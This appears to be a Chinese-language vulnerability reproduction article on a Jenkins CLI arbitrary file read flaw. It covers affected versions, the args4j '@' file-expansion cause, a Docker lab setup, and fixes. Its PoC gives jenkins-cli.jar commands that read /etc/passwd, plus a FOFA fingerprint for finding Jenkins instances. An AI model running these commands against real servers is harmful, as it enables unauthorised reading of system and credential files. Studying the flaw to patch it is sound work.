一、漏洞概况
Jenkins是什么?
Jenkins是一个基于Java开发的、可扩展的持续集成引擎
用于持续、自动地构建/测试软件项目,可以监控一些定时执行的任务
https://www.jenkins.io/zh/
Jenkins使用情况
fofa指纹:app=”jenkins”

二、漏洞分析
受影响的版本
Jenkins 版本<= 2.441
Jenkins 版本<= LTS 2.426.2
漏洞利用条件
Jenkins启用了Allow anonymous read access 选项(读取完整文件)
jenkins-cli.jar是什么?
Jenkins提供了一个命令行的接口,jenkins-cli.jar是它的命令行客户端,通过jenkins-cli.jar可以去执行一些Jenkins中的功能。
漏洞原理
用户使用jenkins-cli.jar执行Jenkins中的功能时,命令行参数会被传递到服务端解析
而Jenkins服务端解析命令行的时候使用了一个第三方库args4j,这个库实现了一个功能,如果一个参数是以@开头,则会被认为是一个文件名,文件内容会被读取作为参数
当Jenkins发现参数不对时,就会将错误信息返回给客户端,错误信息中包括参数内容

三、漏洞复现
环境说明
Kali + Docker
docker安装:https://wiki.bafangwy.com/doc/642
拉取镜像失败解决方法:https://wiki.bafangwy.com/doc/693
Docker靶场启动与配置
靶场启动
docker run -e "JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n" -d -p 8081:8080 bitnami/jenkins:2.426.2-debian-11-r3
Allow anonymous read access 选项配置
http://127.0.0.1:8081/manage/configureSecurity/
登录用户名:user
登录密码:bitnami
PoC
获取Jenkins CLI工具
wget http://localhost:8081/jnlpJars/jenkins-cli.jar
触发漏洞,读取文件部分内容
java -jar jenkins-cli.jar -s http://127.0.0.1:8081 -http help 1 "@/etc/passwd"
触发漏洞,读取完整文件(需配置Allow anonymous read access 选项)
java -jar jenkins-cli.jar -s http://127.0.0.1:8081 -http reload-job "@/etc/passwd"
四、漏洞修复方法
更新到最新版本
禁用Allow
anonymous read access 选项
anonymous read access 选项
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容